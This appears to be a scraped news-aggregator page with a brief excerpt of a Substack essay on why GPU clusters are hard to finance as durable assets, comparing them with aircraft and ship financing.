Peter Thiel sold his entire NVIDIA stake in Q3 2025 and rotated into Apple and Microsoft. The chips are not the durable asset, and the ﬁnancing structure pricing them as durable will eventually have to reckon with what the chips actually are.

Aircraft became ﬁnanceable because someone built the registry, the appraisers, and the maintenance logs. Ships became ﬁnanceable because someone built BICA. The interest premium on these deals exists because no one can answer two basic questions: Is the cluster still working? And: Will it still be working in three years?

No posts

Read more Read the original on ciphertalk.substack.com →

Read the original on ciphertalk.substack.com →

Just a moment...

www.axios.com

241 shares · 31 trendiness

Read the original on www.axios.com →

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.